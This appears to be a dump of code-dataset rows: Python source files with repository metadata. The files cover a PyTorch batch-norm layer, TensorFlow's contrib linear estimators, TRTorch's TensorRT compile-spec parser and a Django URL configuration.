self._track_running_stats: return F.batch_norm(inputs, running_mean, running_var, weight=weight, bias=bias, training=self.training, momentum=momentum) if self._learnable_stats: raise NotImplementedError() if self._frozen_stats: return F.batch_norm(inputs, running_mean, running_var, weight=weight, bias=bias, training=False) # TODO implement scale and shift here. Note, that `running_mean` and # `running_var` are always 0 and 1, resp. Therefore, the call to # `F.batch_norm` is a waste of computation. # ret = inputs # if weight is not None: # # Multiply `ret` with `weight` such that dimensions are # # respected. # pass # if bias is not None: # # Add `bias` to modified `ret` such that dimensions are # # respected. # pass # return ret else: assert (not self._track_running_stats) # Always compute statistics based on current batch. return F.batch_norm(inputs, None, None, weight=weight, bias=bias, training=True, momentum=momentum) def checkpoint_stats(self, device=None): assert (self._track_running_stats or \ self._frozen_stats and self._num_stats == 0) if device is None: if self.num_stats > 0: mname_old, _ = self._stats_names(self._num_stats - 1) device = getattr(self, mname_old).device if self._learnable_stats: raise NotImplementedError() mname, vname = self._stats_names(self._num_stats) self._num_stats += 1 self.register_buffer(mname, torch.zeros(self._num_features, device=device)) self.register_buffer(vname, torch.ones(self._num_features, device=device)) def get_stats(self, stats_id=None): if stats_id is None: stats_id = self.num_stats - 1 assert (stats_id < self.num_stats) mname, vname = self._stats_names(stats_id) running_mean = getattr(self, mname) running_var = getattr(self, vname) return running_mean, running_var def _stats_names(self, stats_id): mean_name = 'mean_%d' % stats_id var_name = 'var_%d' % stats_id return mean_name, var_name if __name__ == '__main__': pass

true

f7016c5c21cf950aa7d4520f766ef05b3aa9a22c

14,028

py

Python

tensorflow/contrib/learn/python/learn/estimators/linear.py

calebchoo/modulabs

10fbaf0581700641fc9b38b1bd722044bfb7c638

[ "Apache-2.0" ]

null

tensorflow/contrib/learn/python/learn/estimators/linear.py

calebchoo/modulabs

10fbaf0581700641fc9b38b1bd722044bfb7c638

[ "Apache-2.0" ]

null

tensorflow/contrib/learn/python/learn/estimators/linear.py

calebchoo/modulabs

10fbaf0581700641fc9b38b1bd722044bfb7c638

[ "Apache-2.0" ]

1

2020-03-26T00:09:00.000Z

# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Linear Estimators.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.contrib import layers from tensorflow.contrib.framework.python.ops import variables as contrib_variables from tensorflow.contrib.learn.python.learn.estimators import _sklearn from tensorflow.contrib.learn.python.learn.estimators import dnn_linear_combined from tensorflow.contrib.learn.python.learn.estimators import sdca_optimizer from tensorflow.contrib.learn.python.learn.estimators.base import DeprecatedMixin from tensorflow.python.framework import ops from tensorflow.python.ops import logging_ops from tensorflow.python.platform import tf_logging as logging # TODO(b/29580537): Replace with @changing decorator. def _changing(feature_columns): if feature_columns is not None: return logging.warn( "Change warning: `feature_columns` will be required after 2016-08-01.\n" "Instructions for updating:\n" "Pass `tf.contrib.learn.infer_real_valued_columns_from_input(x)` or" " `tf.contrib.learn.infer_real_valued_columns_from_input_fn(input_fn)`" " as `feature_columns`, where `x` or `input_fn` is your argument to" " `fit`, `evaluate`, or `predict`.") class LinearClassifier(dnn_linear_combined.DNNLinearCombinedClassifier): """Linear classifier model. Train a linear model to classify instances into one of multiple possible classes. When number of possible classes is 2, this is binary classification. Example: ```python education = sparse_column_with_hash_bucket(column_name="education", hash_bucket_size=1000) occupation = sparse_column_with_hash_bucket(column_name="occupation", hash_bucket_size=1000) education_x_occupation = crossed_column(columns=[education, occupation], hash_bucket_size=10000) # Estimator using the default optimizer. estimator = LinearClassifier( feature_columns=[occupation, education_x_occupation]) # Or estimator using the FTRL optimizer with regularization. estimator = LinearClassifier( feature_columns=[occupation, education_x_occupation], optimizer=tf.train.FtrlOptimizer( learning_rate=0.1, l1_regularization_strength=0.001 )) # Or estimator using the SDCAOptimizer. estimator = LinearClassifier( feature_columns=[occupation, education_x_occupation], optimizer=tf.contrib.learn.SDCAOptimizer( example_id_column='example_id', symmetric_l2_regularization=2.0 )) # Input builders def input_fn_train: # returns x, y ... def input_fn_eval: # returns x, y ... estimator.fit(input_fn=input_fn_train) estimator.evaluate(input_fn=input_fn_eval) estimator.predict(x=x) ``` Input of `fit` and `evaluate` should have following features, otherwise there will be a `KeyError`: * if `weight_column_name` is not `None`, a feature with `key=weight_column_name` whose value is a `Tensor`. * for each `column` in `feature_columns`: - if `column` is a `SparseColumn`, a feature with `key=column.name` whose `value` is a `SparseTensor`. - if `column` is a `RealValuedColumn`, a feature with `key=column.name` whose `value` is a `Tensor`. - if `feature_columns` is `None`, then `input` must contains only real valued `Tensor`. """ def __init__(self, feature_columns=None, model_dir=None, n_classes=2, weight_column_name=None, optimizer=None, gradient_clip_norm=None, enable_centered_bias=True, config=None): """Construct a `LinearClassifier` estimator object. Args: feature_columns: An iterable containing all the feature columns used by the model. All items in the set should be instances of classes derived from `FeatureColumn`. model_dir: Directory to save model parameters, graph and etc. n_classes: number of target classes. Default is binary classification. weight_column_name: A string defining feature column name representing weights. It is used to down weight or boost examples during training. It will be multiplied by the loss of the example. optimizer: The optimizer used to train the model. If specified, it should be either an instance of `tf.Optimizer` or the SDCAOptimizer. If `None`, the Ftrl optimizer will be used. gradient_clip_norm: A `float` > 0. If provided, gradients are clipped to their global norm with this clipping ratio. See `tf.clip_by_global_norm` for more details. enable_centered_bias: A bool. If True, estimator will learn a centered bias variable for each class. Rest of the model structure learns the residual after centered bias. config: `RunConfig` object to configure the runtime settings. Returns: A `LinearClassifier` estimator. """ _changing(feature_columns) super(LinearClassifier, self).__init__( model_dir=model_dir, n_classes=n_classes, weight_column_name=weight_column_name, linear_feature_columns=feature_columns, linear_optimizer=optimizer, gradient_clip_norm=gradient_clip_norm, enable_centered_bias=enable_centered_bias, config=config) self._feature_columns_inferred = False # TODO(b/29580537): Remove feature_columns inference. def _validate_linear_feature_columns(self, features): if self._linear_feature_columns is None: self._linear_feature_columns = layers.infer_real_valued_columns(features) self._feature_columns_inferred = True elif self._feature_columns_inferred: this_dict = {c.name: c for c in self._linear_feature_columns} that_dict = { c.name: c for c in layers.infer_real_valued_columns(features) } if this_dict != that_dict: raise ValueError( "Feature columns, expected %s, got %s.", (this_dict, that_dict)) def _get_train_ops(self, features, targets): """See base class.""" self._validate_linear_feature_columns(features) if not isinstance(self._linear_optimizer, sdca_optimizer.SDCAOptimizer): return super(LinearClassifier, self)._get_train_ops(features, targets) # SDCA currently supports binary classification only. if self._target_column.num_label_columns > 2: raise ValueError( "SDCA does not currently support multi-class classification.") global_step = contrib_variables.get_global_step() assert global_step logits, columns_to_variables, _ = layers.weighted_sum_from_feature_columns( columns_to_tensors=features, feature_columns=self._linear_feature_columns, num_outputs=self._target_column.num_label_columns, weight_collections=[self._linear_weight_collection], scope="linear") with ops.control_dependencies([self._centered_bias()]): loss = self._target_column.loss(logits, targets, features) logging_ops.scalar_summary("loss", loss) train_ops = self._linear_optimizer.get_train_step( self._linear_feature_columns, self._target_column.weight_column_name, "logistic_loss", features, targets, columns_to_variables, global_step) return train_ops, loss def _get_eval_ops(self, features, targets, metrics=None): self._validate_linear_feature_columns(features) return super(LinearClassifier, self)._get_eval_ops( features, targets, metrics) def _get_predict_ops(self, features): """See base class.""" self._validate_linear_feature_columns(features) return super(LinearClassifier, self)._get_predict_ops(features) @property def weights_(self): return self.linear_weights_ @property def bias_(self): return self.linear_bias_ class LinearRegressor(dnn_linear_combined.DNNLinearCombinedRegressor): """Linear regressor model. Train a linear regression model to predict target variable value given observation of feature values. Example: ```python education = sparse_column_with_hash_bucket(column_name="education", hash_bucket_size=1000) occupation = sparse_column_with_hash_bucket(column_name="occupation", hash_bucket_size=1000) education_x_occupation = crossed_column(columns=[education, occupation], hash_bucket_size=10000) estimator = LinearRegressor( feature_columns=[occupation, education_x_occupation]) # Input builders def input_fn_train: # returns x, y ... def input_fn_eval: # returns x, y ... estimator.fit(input_fn=input_fn_train) estimator.evaluate(input_fn=input_fn_eval) estimator.predict(x=x) ``` Input of `fit` and `evaluate` should have following features, otherwise there will be a KeyError: * if `weight_column_name` is not `None`: key=weight_column_name, value=a `Tensor` * for column in `feature_columns`: - if isinstance(column, `SparseColumn`): key=column.name, value=a `SparseTensor` - if isinstance(column, `RealValuedColumn`): key=column.name, value=a `Tensor` - if `feature_columns` is `None`: input must contains only real valued `Tensor`. """ def __init__(self, feature_columns=None, model_dir=None, weight_column_name=None, optimizer=None, gradient_clip_norm=None, enable_centered_bias=True, target_dimension=1, config=None): """Construct a `LinearRegressor` estimator object. Args: feature_columns: An iterable containing all the feature columns used by the model. All items in the set should be instances of classes derived from `FeatureColumn`. model_dir: Directory to save model parameters, graph, etc. weight_column_name: A string defining feature column name representing weights. It is used to down weight or boost examples during training. It will be multiplied by the loss of the example. optimizer: An instance of `tf.Optimizer` used to train the model. If `None`, will use an Ftrl optimizer. gradient_clip_norm: A `float` > 0. If provided, gradients are clipped to their global norm with this clipping ratio. See `tf.clip_by_global_norm` for more details. enable_centered_bias: A bool. If True, estimator will learn a centered bias variable for each class. Rest of the model structure learns the residual after centered bias. target_dimension: dimension of the target for multilabels. config: `RunConfig` object to configure the runtime settings. Returns: A `LinearRegressor` estimator. """ _changing(feature_columns) super(LinearRegressor, self).__init__( model_dir=model_dir, weight_column_name=weight_column_name, linear_feature_columns=feature_columns, linear_optimizer=optimizer, gradient_clip_norm=gradient_clip_norm, enable_centered_bias=enable_centered_bias, target_dimension=target_dimension, config=config) self._feature_columns_inferred = False # TODO(b/29580537): Remove feature_columns inference. def _validate_linear_feature_columns(self, features): if self._linear_feature_columns is None: self._linear_feature_columns = layers.infer_real_valued_columns(features) self._feature_columns_inferred = True elif self._feature_columns_inferred: this_dict = {c.name: c for c in self._linear_feature_columns} that_dict = { c.name: c for c in layers.infer_real_valued_columns(features) } if this_dict != that_dict: raise ValueError( "Feature columns, expected %s, got %s.", (this_dict, that_dict)) def _get_train_ops(self, features, targets): """See base class.""" if isinstance(self._linear_optimizer, sdca_optimizer.SDCAOptimizer): raise ValueError("SDCAOptimizer does not currently support regression.") self._validate_linear_feature_columns(features) return super(LinearRegressor, self)._get_train_ops(features, targets) def _get_eval_ops(self, features, targets, metrics=None): self._validate_linear_feature_columns(features) return super(LinearRegressor, self)._get_eval_ops( features, targets, metrics) def _get_predict_ops(self, features): """See base class.""" self._validate_linear_feature_columns(features) return super(LinearRegressor, self)._get_predict_ops(features) @property def weights_(self): return self.linear_weights_ @property def bias_(self): return self.linear_bias_ # TensorFlowLinearRegressor and TensorFlowLinearClassifier are deprecated. class TensorFlowLinearRegressor(DeprecatedMixin, LinearRegressor, _sklearn.RegressorMixin): pass class TensorFlowLinearClassifier(DeprecatedMixin, LinearClassifier, _sklearn.ClassifierMixin): pass TensorFlowRegressor = TensorFlowLinearRegressor TensorFlowClassifier = TensorFlowLinearClassifier

39.294118

82

0.71008

from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.contrib import layers from tensorflow.contrib.framework.python.ops import variables as contrib_variables from tensorflow.contrib.learn.python.learn.estimators import _sklearn from tensorflow.contrib.learn.python.learn.estimators import dnn_linear_combined from tensorflow.contrib.learn.python.learn.estimators import sdca_optimizer from tensorflow.contrib.learn.python.learn.estimators.base import DeprecatedMixin from tensorflow.python.framework import ops from tensorflow.python.ops import logging_ops from tensorflow.python.platform import tf_logging as logging def _changing(feature_columns): if feature_columns is not None: return logging.warn( "Change warning: `feature_columns` will be required after 2016-08-01.\n" "Instructions for updating:\n" "Pass `tf.contrib.learn.infer_real_valued_columns_from_input(x)` or" " `tf.contrib.learn.infer_real_valued_columns_from_input_fn(input_fn)`" " as `feature_columns`, where `x` or `input_fn` is your argument to" " `fit`, `evaluate`, or `predict`.") class LinearClassifier(dnn_linear_combined.DNNLinearCombinedClassifier): def __init__(self, feature_columns=None, model_dir=None, n_classes=2, weight_column_name=None, optimizer=None, gradient_clip_norm=None, enable_centered_bias=True, config=None): _changing(feature_columns) super(LinearClassifier, self).__init__( model_dir=model_dir, n_classes=n_classes, weight_column_name=weight_column_name, linear_feature_columns=feature_columns, linear_optimizer=optimizer, gradient_clip_norm=gradient_clip_norm, enable_centered_bias=enable_centered_bias, config=config) self._feature_columns_inferred = False def _validate_linear_feature_columns(self, features): if self._linear_feature_columns is None: self._linear_feature_columns = layers.infer_real_valued_columns(features) self._feature_columns_inferred = True elif self._feature_columns_inferred: this_dict = {c.name: c for c in self._linear_feature_columns} that_dict = { c.name: c for c in layers.infer_real_valued_columns(features) } if this_dict != that_dict: raise ValueError( "Feature columns, expected %s, got %s.", (this_dict, that_dict)) def _get_train_ops(self, features, targets): self._validate_linear_feature_columns(features) if not isinstance(self._linear_optimizer, sdca_optimizer.SDCAOptimizer): return super(LinearClassifier, self)._get_train_ops(features, targets) if self._target_column.num_label_columns > 2: raise ValueError( "SDCA does not currently support multi-class classification.") global_step = contrib_variables.get_global_step() assert global_step logits, columns_to_variables, _ = layers.weighted_sum_from_feature_columns( columns_to_tensors=features, feature_columns=self._linear_feature_columns, num_outputs=self._target_column.num_label_columns, weight_collections=[self._linear_weight_collection], scope="linear") with ops.control_dependencies([self._centered_bias()]): loss = self._target_column.loss(logits, targets, features) logging_ops.scalar_summary("loss", loss) train_ops = self._linear_optimizer.get_train_step( self._linear_feature_columns, self._target_column.weight_column_name, "logistic_loss", features, targets, columns_to_variables, global_step) return train_ops, loss def _get_eval_ops(self, features, targets, metrics=None): self._validate_linear_feature_columns(features) return super(LinearClassifier, self)._get_eval_ops( features, targets, metrics) def _get_predict_ops(self, features): self._validate_linear_feature_columns(features) return super(LinearClassifier, self)._get_predict_ops(features) @property def weights_(self): return self.linear_weights_ @property def bias_(self): return self.linear_bias_ class LinearRegressor(dnn_linear_combined.DNNLinearCombinedRegressor): def __init__(self, feature_columns=None, model_dir=None, weight_column_name=None, optimizer=None, gradient_clip_norm=None, enable_centered_bias=True, target_dimension=1, config=None): _changing(feature_columns) super(LinearRegressor, self).__init__( model_dir=model_dir, weight_column_name=weight_column_name, linear_feature_columns=feature_columns, linear_optimizer=optimizer, gradient_clip_norm=gradient_clip_norm, enable_centered_bias=enable_centered_bias, target_dimension=target_dimension, config=config) self._feature_columns_inferred = False def _validate_linear_feature_columns(self, features): if self._linear_feature_columns is None: self._linear_feature_columns = layers.infer_real_valued_columns(features) self._feature_columns_inferred = True elif self._feature_columns_inferred: this_dict = {c.name: c for c in self._linear_feature_columns} that_dict = { c.name: c for c in layers.infer_real_valued_columns(features) } if this_dict != that_dict: raise ValueError( "Feature columns, expected %s, got %s.", (this_dict, that_dict)) def _get_train_ops(self, features, targets): if isinstance(self._linear_optimizer, sdca_optimizer.SDCAOptimizer): raise ValueError("SDCAOptimizer does not currently support regression.") self._validate_linear_feature_columns(features) return super(LinearRegressor, self)._get_train_ops(features, targets) def _get_eval_ops(self, features, targets, metrics=None): self._validate_linear_feature_columns(features) return super(LinearRegressor, self)._get_eval_ops( features, targets, metrics) def _get_predict_ops(self, features): self._validate_linear_feature_columns(features) return super(LinearRegressor, self)._get_predict_ops(features) @property def weights_(self): return self.linear_weights_ @property def bias_(self): return self.linear_bias_ class TensorFlowLinearRegressor(DeprecatedMixin, LinearRegressor, _sklearn.RegressorMixin): pass class TensorFlowLinearClassifier(DeprecatedMixin, LinearClassifier, _sklearn.ClassifierMixin): pass TensorFlowRegressor = TensorFlowLinearRegressor TensorFlowClassifier = TensorFlowLinearClassifier

true

f7016c7c0c3a67ee7989e59320e22bece5f09791

9,486

py

Python

py/trtorch/_compile_spec.py

peri044/TRTorch

62c9830b24552651abbff611515114cbcaca8b7b

[ "BSD-3-Clause" ]

1

2021-06-18T17:26:58.000Z

py/trtorch/_compile_spec.py

peri044/TRTorch

62c9830b24552651abbff611515114cbcaca8b7b

[ "BSD-3-Clause" ]

null

py/trtorch/_compile_spec.py

peri044/TRTorch

62c9830b24552651abbff611515114cbcaca8b7b

[ "BSD-3-Clause" ]

null

from typing import List, Dict, Any import torch import trtorch._C from trtorch import _types def _supported_input_size_type(input_size: Any) -> bool: if isinstance(input_size, torch.Size): return True elif isinstance(input_size, tuple): return True elif isinstance(input_size, list): return True else: raise TypeError( "Input sizes for inputs are required to be a List, tuple or torch.Size or a Dict of three sizes (min, opt, max), found type: " + str(type(input_size))) def _parse_input_ranges(input_sizes: List) -> List: if any(not isinstance(i, dict) and not _supported_input_size_type(i) for i in input_sizes): raise KeyError("An input size must either be a static size or a range of three sizes (min, opt, max) as Dict") parsed_input_sizes = [] for i in input_sizes: if isinstance(i, dict): if all(k in i for k in ["min", "opt", "min"]): in_range = trtorch._C.InputRange() in_range.min = i["min"] in_range.opt = i["opt"] in_range.max = i["max"] parsed_input_sizes.append(in_range) elif "opt" in i: in_range = trtorch._C.InputRange() in_range.min = i["opt"] in_range.opt = i["opt"] in_range.max = i["opt"] parsed_input_sizes.append(in_range) else: raise KeyError( "An input size must either be a static size or a range of three sizes (min, opt, max) as Dict") elif isinstance(i, list): in_range = trtorch._C.InputRange() in_range.min = i in_range.opt = i in_range.max = i parsed_input_sizes.append(in_range) elif isinstance(i, tuple): in_range = trtorch._C.InputRange() in_range.min = list(i) in_range.opt = list(i) in_range.max = list(i) parsed_input_sizes.append(in_range) return parsed_input_sizes def _parse_op_precision(precision: Any) -> _types.dtype: if isinstance(precision, torch.dtype): if precision == torch.int8: return _types.dtype.int8 elif precision == torch.half: return _types.dtype.half elif precision == torch.float: return _types.dtype.float else: raise TypeError("Provided an unsupported dtype as operating precision (support: int8, half, float), got: " + str(precision)) elif isinstance(precision, _types.DataTypes): return precision else: raise TypeError("Op precision type needs to be specified with a torch.dtype or a trtorch.dtype, got: " + str(type(precision))) def _parse_device_type(device: Any) -> _types.DeviceType: if isinstance(device, torch.device): if device.type == 'cuda': return _types.DeviceType.gpu else: ValueError("Got a device type other than GPU or DLA (type: " + str(device.type) + ")") elif isinstance(device, _types.DeviceType): return device elif isinstance(device, str): if device == "gpu" or device == "GPU": return _types.DeviceType.gpu elif device == "dla" or device == "DLA": return _types.DeviceType.dla else: ValueError("Got a device type other than GPU or DLA (type: " + str(device) + ")") else: raise TypeError("Device specification must be of type torch.device, string or trtorch.DeviceType, but got: " + str(type(device))) def _parse_compile_spec(compile_spec: Dict[str, Any]) -> trtorch._C.CompileSpec: info = trtorch._C.CompileSpec() if "input_shapes" not in compile_spec: raise KeyError( "Input shapes for inputs are required as a List, provided as either a static sizes or a range of three sizes (min, opt, max) as Dict" ) info.input_ranges = _parse_input_ranges(compile_spec["input_shapes"]) if "op_precision" in compile_spec: info.op_precision = _parse_op_precision(compile_spec["op_precision"]) if "refit" in compile_spec: assert isinstance(compile_spec["refit"], bool) info.refit = compile_spec["refit"] if "debug" in compile_spec: assert isinstance(compile_spec["debug"], bool) info.debug = compile_spec["debug"] if "strict_types" in compile_spec: assert isinstance(compile_spec["strict_types"], bool) info.strict_types = compile_spec["strict_types"] if "allow_gpu_fallback" in compile_spec: assert isinstance(compile_spec["allow_gpu_fallback"], bool) info.allow_gpu_fallback = compile_spec["allow_gpu_fallback"] if "device_type" in compile_spec: info.device = _parse_device_type(compile_spec["device_type"]) if "capability" in compile_spec: assert isinstance(compile_spec["capability"], _types.EngineCapability) info.capability = compile_spec["capability"] if "num_min_timing_iters" in compile_spec: assert type(compile_spec["num_min_timing_iters"]) is int info.num_min_timing_iters = compile_spec["num_min_timing_iters"] if "num_avg_timing_iters" in compile_spec: assert type(compile_spec["num_avg_timing_iters"]) is int info.num_avg_timing_iters = compile_spec["num_avg_timing_iters"] if "workspace_size" in compile_spec: assert type(compile_spec["workspace_size"]) is int info.workspace_size = compile_spec["workspace_size"] if "max_batch_size" in compile_spec: assert type(compile_spec["max_batch_size"]) is int info.max_batch_size = compile_spec["max_batch_size"] return info def TensorRTCompileSpec(compile_spec: Dict[str, Any]): """ Utility to create a formated spec dictionary for using the PyTorch TensorRT backend Args: compile_spec (dict): Compilation settings including operating precision, target device, etc. One key is required which is ``input_shapes``, describing the input sizes or ranges for inputs to the graph. All other keys are optional. Entries for each method to be compiled. .. code-block:: py CompileSpec = { "forward" : trtorch.TensorRTCompileSpec({ "input_shapes": [ (1, 3, 224, 224), # Static input shape for input #1 { "min": (1, 3, 224, 224), "opt": (1, 3, 512, 512), "max": (1, 3, 1024, 1024) } # Dynamic input shape for input #2 ], "op_precision": torch.half, # Operating precision set to FP16 "refit": False, # enable refit "debug": False, # enable debuggable engine "strict_types": False, # kernels should strictly run in operating precision "allow_gpu_fallback": True, # (DLA only) Allow layers unsupported on DLA to run on GPU "device": torch.device("cuda"), # Type of device to run engine on (for DLA use trtorch.DeviceType.DLA) "capability": trtorch.EngineCapability.DEFAULT, # Restrict kernel selection to safe gpu kernels or safe dla kernels "num_min_timing_iters": 2, # Number of minimization timing iterations used to select kernels "num_avg_timing_iters": 1, # Number of averaging timing iterations used to select kernels "workspace_size": 0, # Maximum size of workspace given to TensorRT "max_batch_size": 0, # Maximum batch size (must be >= 1 to be set, 0 means not set) }) } Input Sizes can be specified as torch sizes, tuples or lists. Op precisions can be specified using torch datatypes or trtorch datatypes and you can use either torch devices or the trtorch device type enum to select device type. Returns: torch.classes.tensorrt.CompileSpec: List of methods and formated spec objects to be provided to ``torch._C._jit_to_tensorrt`` """ parsed_spec = _parse_compile_spec(compile_spec) backend_spec = torch.classes.tensorrt.CompileSpec() for i in parsed_spec.input_ranges: ir = torch.classes.tensorrt.InputRange() ir.set_min(i.min) ir.set_opt(i.opt) ir.set_max(i.max) backend_spec.append_input_range(ir) backend_spec.set_op_precision(int(parsed_spec.op_precision)) backend_spec.set_refit(parsed_spec.refit) backend_spec.set_debug(parsed_spec.debug) backend_spec.set_refit(parsed_spec.refit) backend_spec.set_strict_types(parsed_spec.strict_types) backend_spec.set_allow_gpu_fallback(parsed_spec.allow_gpu_fallback) backend_spec.set_device(int(parsed_spec.device)) backend_spec.set_capability(int(parsed_spec.capability)) backend_spec.set_num_min_timing_iters(parsed_spec.num_min_timing_iters) backend_spec.set_num_avg_timing_iters(parsed_spec.num_avg_timing_iters) backend_spec.set_workspace_size(parsed_spec.workspace_size) backend_spec.set_max_batch_size(parsed_spec.max_batch_size) return backend_spec

42.16

145

0.630824

from typing import List, Dict, Any import torch import trtorch._C from trtorch import _types def _supported_input_size_type(input_size: Any) -> bool: if isinstance(input_size, torch.Size): return True elif isinstance(input_size, tuple): return True elif isinstance(input_size, list): return True else: raise TypeError( "Input sizes for inputs are required to be a List, tuple or torch.Size or a Dict of three sizes (min, opt, max), found type: " + str(type(input_size))) def _parse_input_ranges(input_sizes: List) -> List: if any(not isinstance(i, dict) and not _supported_input_size_type(i) for i in input_sizes): raise KeyError("An input size must either be a static size or a range of three sizes (min, opt, max) as Dict") parsed_input_sizes = [] for i in input_sizes: if isinstance(i, dict): if all(k in i for k in ["min", "opt", "min"]): in_range = trtorch._C.InputRange() in_range.min = i["min"] in_range.opt = i["opt"] in_range.max = i["max"] parsed_input_sizes.append(in_range) elif "opt" in i: in_range = trtorch._C.InputRange() in_range.min = i["opt"] in_range.opt = i["opt"] in_range.max = i["opt"] parsed_input_sizes.append(in_range) else: raise KeyError( "An input size must either be a static size or a range of three sizes (min, opt, max) as Dict") elif isinstance(i, list): in_range = trtorch._C.InputRange() in_range.min = i in_range.opt = i in_range.max = i parsed_input_sizes.append(in_range) elif isinstance(i, tuple): in_range = trtorch._C.InputRange() in_range.min = list(i) in_range.opt = list(i) in_range.max = list(i) parsed_input_sizes.append(in_range) return parsed_input_sizes def _parse_op_precision(precision: Any) -> _types.dtype: if isinstance(precision, torch.dtype): if precision == torch.int8: return _types.dtype.int8 elif precision == torch.half: return _types.dtype.half elif precision == torch.float: return _types.dtype.float else: raise TypeError("Provided an unsupported dtype as operating precision (support: int8, half, float), got: " + str(precision)) elif isinstance(precision, _types.DataTypes): return precision else: raise TypeError("Op precision type needs to be specified with a torch.dtype or a trtorch.dtype, got: " + str(type(precision))) def _parse_device_type(device: Any) -> _types.DeviceType: if isinstance(device, torch.device): if device.type == 'cuda': return _types.DeviceType.gpu else: ValueError("Got a device type other than GPU or DLA (type: " + str(device.type) + ")") elif isinstance(device, _types.DeviceType): return device elif isinstance(device, str): if device == "gpu" or device == "GPU": return _types.DeviceType.gpu elif device == "dla" or device == "DLA": return _types.DeviceType.dla else: ValueError("Got a device type other than GPU or DLA (type: " + str(device) + ")") else: raise TypeError("Device specification must be of type torch.device, string or trtorch.DeviceType, but got: " + str(type(device))) def _parse_compile_spec(compile_spec: Dict[str, Any]) -> trtorch._C.CompileSpec: info = trtorch._C.CompileSpec() if "input_shapes" not in compile_spec: raise KeyError( "Input shapes for inputs are required as a List, provided as either a static sizes or a range of three sizes (min, opt, max) as Dict" ) info.input_ranges = _parse_input_ranges(compile_spec["input_shapes"]) if "op_precision" in compile_spec: info.op_precision = _parse_op_precision(compile_spec["op_precision"]) if "refit" in compile_spec: assert isinstance(compile_spec["refit"], bool) info.refit = compile_spec["refit"] if "debug" in compile_spec: assert isinstance(compile_spec["debug"], bool) info.debug = compile_spec["debug"] if "strict_types" in compile_spec: assert isinstance(compile_spec["strict_types"], bool) info.strict_types = compile_spec["strict_types"] if "allow_gpu_fallback" in compile_spec: assert isinstance(compile_spec["allow_gpu_fallback"], bool) info.allow_gpu_fallback = compile_spec["allow_gpu_fallback"] if "device_type" in compile_spec: info.device = _parse_device_type(compile_spec["device_type"]) if "capability" in compile_spec: assert isinstance(compile_spec["capability"], _types.EngineCapability) info.capability = compile_spec["capability"] if "num_min_timing_iters" in compile_spec: assert type(compile_spec["num_min_timing_iters"]) is int info.num_min_timing_iters = compile_spec["num_min_timing_iters"] if "num_avg_timing_iters" in compile_spec: assert type(compile_spec["num_avg_timing_iters"]) is int info.num_avg_timing_iters = compile_spec["num_avg_timing_iters"] if "workspace_size" in compile_spec: assert type(compile_spec["workspace_size"]) is int info.workspace_size = compile_spec["workspace_size"] if "max_batch_size" in compile_spec: assert type(compile_spec["max_batch_size"]) is int info.max_batch_size = compile_spec["max_batch_size"] return info def TensorRTCompileSpec(compile_spec: Dict[str, Any]): parsed_spec = _parse_compile_spec(compile_spec) backend_spec = torch.classes.tensorrt.CompileSpec() for i in parsed_spec.input_ranges: ir = torch.classes.tensorrt.InputRange() ir.set_min(i.min) ir.set_opt(i.opt) ir.set_max(i.max) backend_spec.append_input_range(ir) backend_spec.set_op_precision(int(parsed_spec.op_precision)) backend_spec.set_refit(parsed_spec.refit) backend_spec.set_debug(parsed_spec.debug) backend_spec.set_refit(parsed_spec.refit) backend_spec.set_strict_types(parsed_spec.strict_types) backend_spec.set_allow_gpu_fallback(parsed_spec.allow_gpu_fallback) backend_spec.set_device(int(parsed_spec.device)) backend_spec.set_capability(int(parsed_spec.capability)) backend_spec.set_num_min_timing_iters(parsed_spec.num_min_timing_iters) backend_spec.set_num_avg_timing_iters(parsed_spec.num_avg_timing_iters) backend_spec.set_workspace_size(parsed_spec.workspace_size) backend_spec.set_max_batch_size(parsed_spec.max_batch_size) return backend_spec

true

f7016cf80f2cf98c95ee5e74713188d48fa48077

295

py

Python

appointment_booking_drchrono/appointments/urls.py

TimothyBest/Appointment_Booking_drchrono

279faf13724e768a6712d2f9911fe32399e4544c

[ "MIT" ]

null

appointment_booking_drchrono/appointments/urls.py

TimothyBest/Appointment_Booking_drchrono

279faf13724e768a6712d2f9911fe32399e4544c

[ "MIT" ]

null

appointment_booking_drchrono/appointments/urls.py

TimothyBest/Appointment_Booking_drchrono

279faf13724e768a6712d2f9911fe32399e4544c

[ "MIT" ]

null

from django.conf.urls import patterns, url urlpatterns = patterns('appointments.views', url(r'^appointment/(?P<practice_id>\d+)/$', 'appointment_form', name='appointment_form'), url(r'^appointment/created/(?P<practice_id>\d+)/$', 'appointment_created', name='appointment_created'), )

32.777778

107

0.718644

from django.conf.urls import patterns, url urlpatterns = patterns('appointments.views', url(r'^appointment/(?P<practice_id>\d+)/$', 'appointment_form', name='appointment_form'), url(r'^appointment/created/(?P<practice_id>\d+)/$', 'appointment_created', name='appointment_created'), )

true

f7016d30d5f6e38ed75c2e93258d83dff26db920

2,848

py

Python

menu.py

applefreak/europi

6ad531c72e148fd1c5f75ee82e588b886ef330a4

[ "MIT" ]

1

2021-01-11T01:36:07.000Z

menu.py

applefreak/europi

6ad531c72e148fd1c5f75ee82e588b886ef330a4

[ "MIT" ]

null

menu.py

applefreak/europi

6ad531c72e148fd1c5f75ee82e588b886ef330a4

[ "MIT" ]

null

